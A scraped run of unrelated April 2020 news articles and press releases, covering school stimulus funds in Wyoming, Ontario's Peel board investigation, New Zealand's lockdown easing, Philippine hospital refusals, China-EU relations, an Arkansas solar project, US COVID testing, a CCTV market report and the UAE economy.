money, part of the gargantuan stimulus bill passed by Congress several weeks ago, will be doled out to Wyomings districts according to previously established formulas for providing federal money to districts with low-income students. It cannot be used to offset existing expenses like payroll but it can be used to offset the cost of steps taken by districts to brace for the coronavirus. That could be a number of things, said Brian Farmer, the executive director of the Wyoming School Boards Association. It could reimburse districts for laptops they gave to students so they could learn remotely or for Wi-Fi districts paid for to ensure their students could connect. The list of allowable expenses is lengthy, covering everything from sanitizing facilities to providing mental health services. Districts can use the money to plan returns to school and for preparation efforts with other agencies and entities. It could also be used, Farmer continued, to offset the costs for some district employees who arent necessarily working now as they had before, like librarians or campus supervisors. The federal stimulus bill requires districts make every effort to keep employees on the job. Farmer said it would be interesting to see if districts can use the money to offset paychecks for employees whose work has been cut short by distance learning. We are grateful for these timely funds, state Superintendent Jillian Balow said in a statement. Wyoming education should not go back to normal. School districts and schools will utilize ESSER Funds to make schools more nimble and safer in the face of a resurgence or future pandemic. All of Wyomings K-12 schools have been shuttered for a month, with at least a handful having already decided to continue with virtual learning through the end of the year, all in a bid to slow the spread of the coronavirus. The Natrona County School District is expected to take action Monday night on whether to extend school, regardless of any new state closure orders coming down from the state Health Department. The money also comes as districts begin to look wearily toward a future of potential cutbacks, as revenues statewide continue to fall amid the downturn in the energy economy. That industry accounts for much of the funding for Wyomings K-12 schools, as with most state expenses. I think folks are comfortable in the financial situation today, but when we look into the future, theres great concern both with the states ability to generate revenue and how costs today are going to have a continued impact into the future, Farmer said. The states K-12 schools are not the first to benefit from federal stimulus money. Thousands of businesses have tapped hundreds of millions of dollars in loans here, and the University of Wyoming will receive $6.6 million to help students dealing with the virus impacts. Hundreds of millions more in stimulus money is headed the states way, though there are restrictions on how that money can be spent. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Education Minister Stephen Lecce is sending an investigator into the Peel public school board as it continues to struggle to address anti-Black racism and dysfunction. The boards troubles are ongoing despite a scathing report last month from three reviewers that prompted Lecce to order more than two dozen fixes orders he is now concerned are not being followed. I will not idle or allow this process to (drag) on after years of inaction at the second-largest board in the province, Lecce told the Star in a telephone interview Tuesday afternoon. Lecce has given the investigator, veteran employment and human rights lawyer Arleen Huggins, a two-week window to look at the clear challenges that are manifesting in the community ... and the ongoing difficulty and lack of adherence to the directives that focused on combating racism and discrimination in all its forms. Huggins will conduct an investigation into the Peel boards compliance with Lecces directives, which were issued after a team of reviewers found painful and difficult incidents of racism, weak and divisive leadership, and senior administrators who have been paralyzed by inaction. Late last year, Lecce called in Ena Chadha, Sue Herbert and Shawn Richard to conduct the review following a number of incidents including a trustee who referred to the diverse McCrimmon middle school as McCriminal and after a senior administrator in charge of anti-discrimination filed a human rights case. Their report, delivered in March, found that Black students are less likely to be enrolled in academic classes, are suspended at higher rates often for things like wearing a hoodie and are discouraged from pursuing post-secondary studies at all turns. They also found a lack of diverse staff in the board, which serves Mississauga, Brampton and Caledon. Lecce then issued 27 directives, with specific timelines, to the board. We expect our school leaders trustees, senior administration, and educators to ensure all students are learning in safe and inclusive classrooms, Lecce said in a written statement. This is why effective, transparent, and accountable school board governance is essential to the success and well-being of students in Ontarios publicly funded schools. The Star recently reported that the mediation ordered by Lecce to help a very divided Peel board was falling apart after two trustees said attacks on the Black community continue, and the senior administrator who launched the human rights case had taken a leave of absence. Huggins, a former head of the Canadian Association of Black Lawyers, will report her findings to Lecce by May 18. The message I am sending (to Peel) is do better, Lecce said. Our kids deserve better, and I will do whatever it takes to ensure these issues are addressed immediately and effectively. Last week, the Peel boards chair and vice-chair issued a statement saying they are addressing the reviewers concerns and were confused and disheartened to learn via social media that Lecce felt they hadnt acted. We are left to wonder what the tweet means, as we have clearly followed the directives and met every deadline to date, including the commitment on March 24, 2020, from all trustees to participate in the mediation. And all of this is happening in the midst of the extraordinary efforts staff are undertaking to support students and families during the COVID-19 pandemic, wrote Brad MacDonald and David Green. We have heard from many members of the community and staff who are ready to help us continue to move forward with this very important work. They are relying on us to take the Ministry of Educations report and the ministers directives very seriously, and we are doing just that. We want everyone to be assured that we will take all necessary action to improve board governance and leadership practices, and work towards eliminating anti-Black racism and system discrimination to improve student and staff outcomes. Read more about: Touching upon the debate between head of Bright Armenia faction Edmon Marukyan and deputy parliamentary speaker Alen Simonyan, deputy of the My Step faction Kristine Poghosyan viewed the debate as loathsome. When there are no more political arguments, people start offending each other, Kristine Poghosyan said, adding that she will go home feeling ashamed because her three sons follow the sessions in parliament. She also said Edmon Marukyan shouldnt talk about the revolution in Armenia and said she was the one who hadnt let him speak to the people when some of the participants of the revolution had been detained. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Reuters) Wellington, New Zealand Tue, April 28, 2020 10:50 625 fc6853813033f564188675f8bd49eaff 2 World New-Zealand,burgers,coffee,coronavirus,COVID-19,COVID-19-lockdown,reopening,pandemic Free New Zealanders queued for burgers, fries and coffee takeaway on Tuesday after they were freed from a month-long lockdown, which Prime Minister Jacinda Ardern credited with eliminating domestic transmission of the coronavirus. Around 400,000 people returned to work after Ardern shifted the country's alert level down a notch, loosening some of the tough movement restrictions that shut down businesses for weeks. "Its hard to explain how good this tastes," Christopher Bishop, a lawmaker, said on Twitter after posting a picture with a take away coffee cup. Long queues of cars snaked up to McDonald's Corp outlets in Auckland and Wellington from the early hours as people sought a fast food fix. "We got quarter pounders, Big Macs, drinks ... I've still got two cheeseburgers left but I can't finish them," Tai Perez, who arrived at a McDonald's outlet in Auckland at 4am, was quoted as saying by the New Zealand Herald. New Zealand's 5 million residents were subjected to one of the strictest lockdowns in the world in response to the coronavirus pandemic, with Ardern shutting down much of the country from March 26. Ardern said those measures had paid off. New Zealand has reported just 1,122 confirmed cases of COVID-19, including 19 deaths, one of the lowest tallies in the world. "We can say with confidence that we do not have community transmission in New Zealand. The trick now is to maintain that," Ardern told Radio New Zealand on Tuesday. There was growing debate among officials and academics about the terminology that should be used for New Zealand's status in relation to the coronavirus spread, with some saying "elimination" would not allow for recurrent small numbers of cases. They point to the fact that the country reported five new cases and one death yesterday. "When I talk about elimination it does not mean zero cases, it means zero tolerance for cases," Ardern said. "The idea of COVID being completely gone, that is eradication - so there are important differences there." New Zealand is maintaining several social distancing policies despite the step down in the alert level with malls pubs, hairdressers and other public shopping areas to stay shut for at least another two weeks. Siouxsie Wiles, a microbiologist and associate professor at the University of Auckland, was among those warning the virus could return if lockdown measures were eased too quickly. "If we turn our backs for a minute, well be on the path to a serious outbreak once again. And weve seen this happen overseas," Wiles wrote in a column on the online news site The Spinoff. The Governor of Osun State, Gboyega Oyetola, has inaugurated a joint task force against illegal mining and other security challenges in the state. The governor said the inauguration became necessary in order for Osun to retain its status as one of the most secure and safest states in Nigeria. The inauguration came months after PREMIUM TIMES exposed how illegal Chinese miners were causing environmental hazards in different communities in Osun, sometimes with the help of the police. Speaking at the inauguration of the taskforce in Osogbo on Tuesday, Mr Oyetola said his administration committed to providing adequate security for our economic and investment programmes so that our vision for translating the State into an economic hub can be achieved. Todays flag-off crystallizes our bottom-up approach to fighting crime as we have involved communities across our State to elicit inputs into our security architecture and operations. It is also intended to consolidate our achievements and retain the status of Osun as the safest State in Nigeria, he said. The Joint Task Force is a collaboration of the Army, the Police, the Air Force, the Department of State Service, the Nigerian Security and Civil Defence Corps and the Immigration Service, and it shall provide operational support for Amotekun to fight cultism, kidnapping, illegal mining and other related crimes. All these efforts are aimed at reducing the incursion of criminals into the State. Security for us is a comprehensive initiative which includes economic, social, political and other spheres. Our social investment programmes such as employment for youths, credit facilities for our people are designed to empower them and eliminate crimes. Indeed, the inclusion of illegal mining as a component of this Joint Task Force is proof that we take our economic and industrial initiatives seriously. There is no hiding place for men of the underworld in the State of Osun. Todays flag-off is, therefore, a warning to them to either leave the State of Osun or face the music, he disclosed. I enjoin you to work together as a team, collaborate with other security outfits and employ the spirit of esprit de corps in the discharge of your duties. Eschew all acts that can compromise your calling and effectiveness, including bribery, corruption, high-handedness and executive recklessness. Let me admonish our people to cooperate with the Joint Task Force as they are at work in our collective interest. Achieving security is a collective responsibility. It is a path to maintaining our status as a security-conscious State, securing our people and attaining economic recovery and transformation for a sustainable, safe and prosperous Osun, the governor concluded. Press Release April 28, 2020 Bong Go demands immediate investigation of hospitals that reportedly refused to administer emergency treatment to patients After repeatedly reminding and appealing to hospitals not to refuse to administer emergency care to patients amid the ongoing coronavirus disease (COVID-19) outbreak in the country, Senator Christopher Lawrence "Bong" Go is demanding concerned agencies to conduct an immediate investigation on the increasing number of these cases and hold those hospital officials accountable in accordance to the law. "Ilang beses na akong umapela sa mga ospital na huwag itaboy ang mga pasyente, lalong lalo na ang mga nangangailangan ng emergency care," Go said. Senator Go stressed that "accepting patients into hospitals is of paramount importance", especially given the COVID-19 emergency in the country. He echoed the President's remarks that hospitals are the sanctuary of the sick and that they should not choose the ailment of the patient they are accepting. He also said that he strongly supports the President's stand to penalize hospitals that cannot attend to patients who need immediate medical attention. "Alam ko na nahihirapan tayong lahat dahil sa health crisis dulot ng COVID-19. Kulang tayo sa kagamitan sa ospital, tulad ng PPEs. Lampas sa kapasidad ang karamihan sa mga pasilidad pero hindi ito dahilan upang hindi tanggapin ang mga nangangailangan ng agarang tulong medikal," the Senator added. There is a recent report of a woman in Caloocan City who died during childbirth after being turned away by six hospitals citing full capacity while another facility allegedly asked for a deposit payment before admission. These facilities allegedly cited that they lacked available space for in-patients and were short on blood supply. "Lagi kong inuulit na hindi maaaring tanggihan ng mga ospital ang sinumang pasyenteng lalapit sa kanila, lalong lalo na ang mga nangangailangan agad ng emergency care. Isa itong paglabag sa batas," Go said. The Senator emphasized that Republic Act No. 10932 or the "Anti-Hospital Deposit Law" declares it as unlawful for a hospital or clinic to refuse patients and administer medical treatment and support. Go added that the law states that a transfer to another hospital or facility can only be done after necessary emergency treatment has been administered to the patient and that the patient is already in a stable condition. "May batas tayo na naglalatag kung ano ang dapat gawin ng mga ospital. Mandato ninyo na sagipin ang buhay ng bawat taong hihingi sa inyo ng tulong," Go stressed. According to the law, if the refusal to accept is based on a hospital policy, officials of that hospital may receive four to six years of imprisonment and/or a fine of P500,000 to P1,000,000. "May parusa tayo para sa mga hospital staff involved at pati na rin sa administration nito kapag nilabag nila ang batas," he added. The law also provides that "transfer shall be done only after necessary emergency treatment and support have been administered to stabilize the patient and after it has been established that such transfer entails less risks than the patient's continued confinement". "Bago pa man ilipat ang pasyente sa ibang ospital na mas may kakayahang tumulong, dapat ay na-stabilize na muna ang pasyente na ito at dapat ang paglipat sa kanya ay hindi mas delikado sa kalagayan niya," Go said. Earlier, at least three Filipino patients died after reportedly being refused treatment by various hospitals. A pregnant woman in Manila died after being turned down by four medical hospitals while another patient expired after reportedly being turned away by as many as six hospitals in Cabanatuan City in Nueva Ecija. Also in Caloocan, a female patient was also allegedly turned away by nine hospitals without receiving any emergency treatment. Authorities have since conducted investigations on the matter. Just recently, similar complaints were also reported of parents of two infants who died in separate incidents after officials of a hospital in Manila City allegedly refused to admit them. "Kailangan natin mabigyan ng hustisya ang mga namatayan. Ilang Pilipino pa ba ang dapat mamatay bago magtanda ang mga ospital na gawin nila ang kanilang mandato para sa mga Pilipino?" the Senator said. As Senate Committee on Health and Demography Chair, Go already gave a stern warning to hospitals that refuse to administer emergency care to critically ill patients regardless of sickness. He assured that he will have these incidents investigated by the committee in coordination with authorities to bring offenders to justice. "Papaimbestigahan ko rin ito bilang Chairperson ng Committee on Health sa Senado. Ipapatawag natin ang mga ospital na ito sa tamang panahon and those responsible for these unlawful acts should and will be held accountable," the Senator said, adding that the National Bureau of Investigation, Department of Justice and Department of Health are ready to conduct investigations of the hospitals that refused to provide treatment to patients. "Sa ngayon, papaimbestiga rin natin ito sa NBI at DOH Health Facilities Oversight Board. Nagsabi na rin si DOJ Secretary Guevarra na handa silang imbestigahan at panagutin itong mga hospital officials who refuse to provide initial medical treatment in serious or emergency cases," Go said. The cooperation between China and the EU members to fight COVID-19 throughout the pandemic is based on concrete mutual respect and friendship, rather than diplomatic pressures and power politics, Chinese observers said Monday following media reports alleging China pressures the EU to soften report on China's response to the COVID-19 outbreak. Despite some conservative forces and media in Europe still hold biased stance against China, the China-EU mutual assistance won't be affected as the EU understands that only China can provide supplies while their traditional ally the US could even hijack their materials, observers said. Some Western media including Reuters, New York Times and German newspaper Welt am Sonntag recently reported that China had pressured the EU and its member states like Germany to praise China's efforts to fight the virus and remove the comments against China from an EU report which accused Beijing of running a "global disinformation" campaign. Song Luzheng, a Paris-based Chinese scholar and research fellow at the China Institute of Fudan University, told the Global Times on Monday that this kind of biased news against China is very normal in European media. Still, their impact on China-EU cooperation is very limited because the governments of the EU members understand that who can offer help when they desperately need medical materials and other supplies. The Chinese Embassy to Germany responded in a statement on Sunday, saying Welt am Sonntag's report, which stated the "German interior ministry said in a letter" that Chinese diplomats approached German politicians to make positive comments on China's handling of the pandemic is "untrue and irresponsible." Any attempt to stigmatize China's efforts to control the outbreak and its cooperation with other countries will damage the atmosphere of cooperation and weaken our efforts to fight the virus, the Chinese embassy noted. Chinese analysts said China is not threatening anyone to cut off supplies if the country doesn't praise China, but China has the right to remind those media and politicians who are hostile and biased that their behavior could affect the cooperation, and patients in their nations could be harmed by their ignorance. When the public summary of the EU report went online on Friday, the section on "state-sponsored disinformation, which had singled out China and Russia," had been folded into the rest of the report, and the words have been softened, the New York Times reported. China's publicity capability is still weak compared to the powerful Western mainstream media and US propaganda, so no matter how hard China tries to tell the West how China managed to control the outbreak and warned the world of the serious situation through the World Health Organization in the early stage, as well as to provide stable and massive supplies, Western media and some anti-China political forces can still successfully stigmatize China, Song noted. According to the Washington Post on Saturday, a new US Republican strategy memo advises Senate candidates to blame China for the coronavirus outbreak, link Democrats to the Chinese government and avoid discussing President Trump's handling of the crisis. "This is clear evidence of who is using a global disinformation campaign," Song said, but he stressed that China is capable of balancing stigmatization because China has the power to solve problems and offer concrete help. "The EU can't get anything from the US, not even one single mask or ventilator," Song said. Li Haidong, a professor at the Institute of International Relations of the China Foreign Affairs University, told the Global Times on Monday that China's assistance and support to the world is what no one can deny, and China is the only logistical center in the global fight against the pandemic. EU members have had a very close cooperation with China throughout the pandemic. Italy and Spain are two countries which had a very serious situation, and while they received no help from their Western allies, China has become their only hope, which sent huge amount of medical supplies and a medical team. Other EU members like France, Germany and Hungary all received supplies from China and non-EU European countries like Serbia also received China's support as China is the most experienced country to handle the pandemic and can also produce enough supplies in time. The latest study conducted by the Piepoli Institute that monitors public sentiment every week on the evolution of the COVID-19 phenomenon shows the country that Italians see as helping them the most is China (52 percent), followed by Albania (18 percent) and Russia (9 percent). Only 3 percent said it's the US, ANSA news agency reported on April 7. But while China shows its sincerity based on humanitarianism, some said China is trying to use its industrial power and supply chain to shape its positive image in the West. "China-EU cooperation can ignore these interruptions and ridiculous opinions because they don't understand why China is doing this for the EU and the rest of the world. At the beginning of the outbreak in China, which was the most difficult period for our country, European countries and neighbors like Japan, Russia, Pakistan and South Korea, as well as Iran, provided help to us, and what we are doing right now is returning the favor," Li said. LITTLE ROCK, Ark., April 28, 2020 /PRNewswire/ -- The Arkansas Public Service Commission has approved a new utility-scale solar project that will provide Entergy Arkansas customers with 100 megawatts of solar power and 10 megawatts of battery storage for when the sun isn't shining. The Searcy Solar project in White County will be the largest utility-owned solar project in the state and the first to feature battery storage. When completed in 2021, it will be the third project generating solar energy for Entergy Arkansas' customers, bringing the total of solar energy to 281 megawatts covering more than 2,000 acres enough to power about 45,000 homes. The Stuttgart Solar Energy Center has been producing 81 megawatts of solar energy since 2018, and Chicot Solar, under construction near Lake Village, will provide 100 megawatts of solar power when it comes online later this year. "Entergy Arkansas is proud to be leading the charge in expanding solar power in our state, and we are committed to meeting our customers' energy needs reliably, affordably and safely as we have done for over 100 years," said Laura Landreaux, president and CEO of Entergy Arkansas. "Large-scale solar facilities provide the most cost-effective solar power for all customers, keeping rates low while delivering the best value for renewables in Arkansas." "This large solar facility will be a very effective economic development tool as we work to attract new employers and retain our existing businesses. Many corporations have renewable energy and sustainability objectives," said Arkansas Secretary of Commerce Mike Preston. "This facility, combined with Entergy's other large solar facilities in Arkansas, will help us strengthen and grow the state's economy." The Searcy Solar project will be built on approximately 800 acres east of Eastline Road (US 67, Exit 44) in Searcy and will include a 10-megawatt array of lithium-ion batteries capable of storing up to 30 MW hours of electricity, which is expected to be charged and discharged daily to maximize the value of the solar energy for the benefit of customers. "This is welcome news for the area," said Sen. Jonathan Dismang, R-Searcy. "This large solar project provides a much-needed economic benefit to Searcy and White County. It will provide construction-related jobs and a long-term, low-cost renewable resource." The Searcy Solar facility will bring 200 temporary construction jobs and two or three permanent jobs, along with periodic maintenance workers. It also will provide about $700,000 in annual property taxes as well as environmental benefits through emissions-free energy. "I'm excited to have this large solar facility constructed in Searcy. This will enhance our local economy and tax base," said Rep. Les Eaves, R-Searcy. "I appreciate Entergy leadership in renewable energy and economic development." Entergy Arkansas provides electricity to approximately 700,000 customers in 63 counties. Entergy Arkansas is a subsidiary of Entergy Corporation (NYSE: ETR), an integrated energy company engaged primarily in electric power production and retail distribution operations. Entergy owns and operates power plants with approximately 30,000 megawatts of electric generating capacity, including nearly 9,000 megawatts of nuclear power. Entergy delivers electricity to 2.9 million utility customers in Arkansas, Louisiana, Mississippi and Texas. Entergy has annual revenues of $11 billion and approximately 13,600 employees. entergyarkansas.com Twitter: @EntergyARK Facebook.com/EntergyARK SOURCE Entergy Corporation Related Links http://www.entergy.com WASHINGTON - Pressure mounted Monday on the White House and Congress to develop a national strategy to test Americans for exposure to the novel coronavirus, as health and economic experts said the current patchwork of testing efforts is insufficient to allow the economy to reopen safely. Governors, congressional leaders and public health officials have pressed for a robust testing plan from the federal government, insisting that frequent and widespread testing is crucial to ending the stay-home orders that have idled businesses across much of the country. President Donald Trump responded Monday by announcing what the White House called a "blueprint" for increasing testing capacity. But it leaves the onus on states to develop their own plans and rapid-response programs. A White House document said the federal role would include "strategic direction and technical assistance," as well as the ability to "align laboratory testing supplies and capacity with existing and anticipated laboratory needs." The federal government was described as the "supplier of last resort." Trump outlined the effort at a White House news conference where he was joined by some major retailers, who said they had increased the rate of testing and the production of medical supplies. They predicted that they would accelerate in the month ahead, doubling their rate of testing and the number of sites that would be available to the public. The administration's top testing official, meanwhile, promised that the United States would conduct at least 8 million tests a month by the end of May. But a previous high-profile public-private initiative announced by the president in March - partnering with companies to open up scores of testing sites on their properties across the country - has been slow to materialize. Trump insisted that the nation will have the necessary testing, but it was unclear how the plan would work. "Now there are big believers in testing and then there are some governors that don't feel as strongly about it at all, you understand, that they feel much differently about it, but we're going with maximum testing because it's something we're very capable of doing, but will be much more than doubled," he told reporters. The president's remarks came as U.S. deaths passed 55,000 and have not yet peaked, while confirmed cases neared 1 million. The United States remains the country with the most reported deaths worldwide during the pandemic. Over the past week, the United States has been reporting an average of about 218,000 tests daily. That total is far lower than the nation's potential testing capacity, reflecting shortages of testing kits and laboratory supplies. A slide presented during a White House briefing last week suggested that testing machines now present in state, private and commercial settings can process about 2.14 million tests per day. Trump's latest guidance comes three days after the president signed legislation pumping $25 billion into testing and contact tracing infrastructure - a sum that was included in the $484 billion bill at the behest of congressional Democrats, who objected to GOP plans to pass legislation that included funding for small businesses. But even that sum is inadequate to meet the challenge, several prominent health and economic experts said - among them former senior advisers to Trump and his predecessors. In a letter sent to the top four congressional leaders, a bipartisan cadre of public health officials led by former Trump-era Food and Drug Administration commissioner Scott Gottlieb and Andy Slavitt, a senior health official in the Obama administration, warned that "current testing capacity and accuracy must be improved." The officials urged Congress to provide $46.5 billion in additional funding, with more than half of that earmarked for new payments to allow Americans to stay home from work and voluntarily self-isolate. And $12 billion is needed, they said, to hire 180,000 additional contact tracers across the country. "This is fundamental to our ability to begin to reopen our economy while continuing to safeguard American lives," they said, adding that stanching the pandemic "will constitute the strongest possible stimulus to the U.S. economy." Other prominent Republicans signing the letter were former Senate majority leader Bill Frist of Tennessee, a doctor; as well as former governor Mike Leavitt of Utah, a former Health and Human Services secretary; and Mark McClellan, who served as FDA commissioner under President George W. Bush. Pressure is also mounting on Trump from the campaign trail. Presumptive Democratic presidential nominee Joe Biden has called on Trump to strengthen the federal role in testing by, among other things, creating a "pandemic testing board" modeled on the federal authority that directed defense production during World War II. On Monday, Biden called for Congress to create such a board if Trump won't. "This isn't rocket science. It just takes investment and execution - both of which have been gravely lacking," Biden said in a statement. "Trump could make this happen. He hasn't. Instead, he's pushed sole responsibility to governors, while telling them to fly blind without the critical data we derive from testing." Other experts say an even more aggressive effort is warranted. A recent Rockefeller Foundation report called for an initial goal of 3 million tests per week, ultimately reaching 30 million. About 5.4 million tests for covid-19, the disease caused by the novel coronavirus, have been conducted in the United States thus far, according to the Covid Tracking Project, which compiles figures from each state. Paul Romer, a 2018 Nobel laureate in economics and former chief economist for the World Bank, said the federal government should test every American once every two weeks to reestablish national confidence and jump-start the economy - an effort he estimated would cost $100 billion. That cost, he said, pales in comparison to the amount of lost economic activity the pandemic has caused. Romer, an expert in economic modeling, estimates that the United States is losing at least $500 billion a month in domestic production; other economists have suggested the figure is larger. "Every month of delay makes the recovery slower - and take longer," Romer said. On Capitol Hill, meanwhile, there are no immediate plans to revisit the testing issue in a bipartisan manner. With top congressional leaders at odds over priorities for the next coronavirus relief bill, it could be weeks or longer before talks coalesce. The White House guidance released Monday did little to convince skeptical congressional Democrats that the administration had the issue in hand. House Energy and Commerce Committee Chairman Frank Pallone, D-N.J., questioned the White House's testing blueprint as "totally lacking in credibility" given that previous rosy promises - such as those made during March briefings that included several business executives - did not materialize. And he continued to question Trump's resistance to having the federal government take a more aggressive role. "It's got to be something that's mandated by the federal government and then implemented by the states based on the federal government's plan with the money that allows for the testing," Pallone said. "You can't have a reliance that somehow the chain drugstores are going to set up these testing sites voluntarily through their drive-through pharmacies. That's what they promised last time. And it never happened. And it won't happen because it's not based on a national plan, it's not enforceable, and they're not providing the funding for it." Pallone said his committee was drafting legislation to mandate a national testing strategy that he hopes to include in the next relief bill. Meanwhile, states have determined that finding testing sites is not the major bottleneck. Instead, it is obtaining the testing kits and laboratory supplies needed to process them. In a news briefing on Monday, California Gov. Gavin Newsom, a Democrat, said the state, which is conducting about 20,000 tests a day, was expanding testing by opening up sites in inner cities and rural communities. But he noted that even though the 80 new sites offered "end-to-end" services and had sufficient supplies, the state's capacity to diagnose covid-19 remained constrained by shortages. The federal government sent California 90,000 specialized nasal swabs needed for covid-19 tests last week, he said, and will send an additional 260,000 this week. "When that comes in, we'll let you know," he said of the second shipment. "We'll still need multiples of that. By no stretch of the imagination is that enough." Among the companies, Quest Diagnostics plans to increase the number of diagnostic tests it analyzes each day from 50,000 now to 100,000 by the end of May, and has reduced its turnaround time to between 24 and 48 hours. LabCorp will ramp up from 60,000 diagnostic tests a day and begin offering a take-at-home test to consumers across the country. The Trump administration has been under pressure for weeks to codify the federal role in providing for more testing, and that has become a congressional mandate. Under the bill Trump signed Friday, HHS Secretary Alex Azar has 30 days to report to Congress on a "strategic testing plan" - one that must include, among other things, a blueprint for increasing U.S. testing capacity, including the supplies needed to collect specimens and process them, and an outline of all federal resources available to states and local jurisdictions. The United States has already boosted testing a great deal, even in the absence of a clear national strategy. The country had conducted about 5.46 million tests as of Sunday, according to the Covid Tracking Project. It's an enormous raw number of tests but appears significantly less impressive when considered in a per capita sense: The number is equivalent to about 1.7% of the U.S. population. In contrast, another major economy that has been acclaimed for its coronavirus response, Germany, increased testing earlier than the United States did and as of April 21 had conducted 2.07 million tests, equivalent to 2.5% of the German population. States and labs have cited several reasons for the U.S. lag. Inadequate swabs to take initial samples from the noses of people who might have been infected. Inadequate kits and reagents to withdraw viral RNA from those samples. Inadequate personal protective equipment for workers both at the initial sampling stage and when processing the samples in machines. In any case, there are clear indications that U.S. testing ability remains insufficient. Nationwide, the proportion of tests being returned positive is about 18%, or nearly 1 in 5. That suggests to experts that there are still many undetected cases because of a shortage of tests - which also means there are many coronavirus carriers who are not in isolation and whose contacts are not being identified and traced. Jeremy Konyndyk, a former Obama official who worked on disaster preparedness and is now a senior fellow at the Center for Global Development, said he thinks current testing is probably missing about 90% of cases, based on recent studies seeking to determine the prevalence of antibodies in New York City and elsewhere. "To have a chance of truly catching everyone or almost everyone through testing, to make testing universally available, we would need to ramp up about tenfold from where we are now, on the order of 2 to 3 million tests a day," he said. - - - The Washington Post's Amy Goldstein, Heather Long and Sean Sullivan contributed to this report. [April 27, 2020] Closed-circuit Television (CCTV) Camera Market 2019-2023 | Growing Demand For IP-based CCTV Cameras to Boost Growth | Technavio Technavio has been monitoring the closed-circuit television (CCTV) camera market and it is poised to grow by USD 8.65 bn during 2019-2023. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005633/en/ Technavio has announced its latest market research report titled Global CCTV Camera Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is concentrated, and the degree of concentration will decelerate during the forecast period. Axis Communications (News - Alert) AB, Hangzhou Hikvision Digital Technology Co. Ltd., Hanwha Group, Panasonic Corp., and Zhejiang Dahua Technology Co. Ltd. are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Growing demand for IP-based CCTV cameras has been instrumental in driving the growth of the market. Closed-circuit Television (CCTV) Camera Market 2019-2023 : Segmentation Closed-circuit Television (CCTV) Camera Market is segmented as below: Product Dome Camera PTZ Camera Bullet Camera Box (News - Alert) Camera Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31804 Closed-circuit Television (CCTV) Camera Market 2019-2023 : Scope Technavio presents a detailed picture of the market by the way of stud, synthesis, and summation of data from multiple sources. Our closed-circuit television (CCTV) camera market report covers the following areas: Closed-circuit Television (CCTV) Camera Market size Closed-circuit Television (CCTV) Camera Market trends Closed-circuit Television (CCTV) Camera Market industry analysis This study identifies introduction of deep learning technology as one of the prime reasons driving the closed-circuit television (CCTV) camera market growth during the next few years. Closed-circuit Television (CCTV) Camera Market 2019-2023 : Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the closed-circuit television (CCTV) camera market, including some of the vendors such as Axis Communications AB, Hangzhou Hikvision (News - Alert) Digital Technology Co. Ltd., Hanwha Group, Panasonic Corp., and Zhejiang Dahua Technology Co. Ltd. Backed with competitive intelligence and benchmarking, our research reports on the closed-circuit television (CCTV) camera market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Closed-circuit Television (CCTV) Camera Market 2019-2023 : Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist closed-circuit television (CCTV) camera market growth during the next five years Estimation of the closed-circuit television (CCTV) camera market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the closed-circuit television (CCTV) camera market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of closed-circuit television (CCTV) camera market vendors Table Of Contents : PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY PRODUCT Market segmentation by product Comparison by product Dome camera - Market size and forecast 2018-2023 PTZ camera - Market size and forecast 2018-2023 Bullet camera - Market size and forecast 2018-2023 Box camera - Market size and forecast 2018-2023 Market opportunity by product PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison APAC - Market size and forecast 2018-2023 North America - Market size and forecast 2018-2023 Europe - Market size and forecast 2018-2023 MEA - Market size and forecast 2018-2023 South America - Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Introduction of deep learning technology Integration of AI in CCTV cameras Incorporation of video analytics in IP-based CCTV cameras PART 12: VENDOR LANDSCAPE Overview Landscape disruption PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Axis Communications AB Hangzhou Hikvision Digital Technology Co. Ltd. Hanwha Group Panasonic (News - Alert) Corp. Zhejiang Dahua Technology Co. Ltd. PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005633/en/ [ Back To TMCnet.com's Homepage ] The policies enacted to contain the coronavirus outbreak and the indirect impact of the pandemic on global growth and trade conditions pose a significant shock to economic growth in the UAE (Aa2 stable), especially as they follow a cyclical and structural slowdown in the non-oil economy in 2019 and coincide with the significant drop in oil prices, according to top ratings agency Moody's. Among the UAEs emirates, the negative growth and fiscal implications are most acute in Dubai, 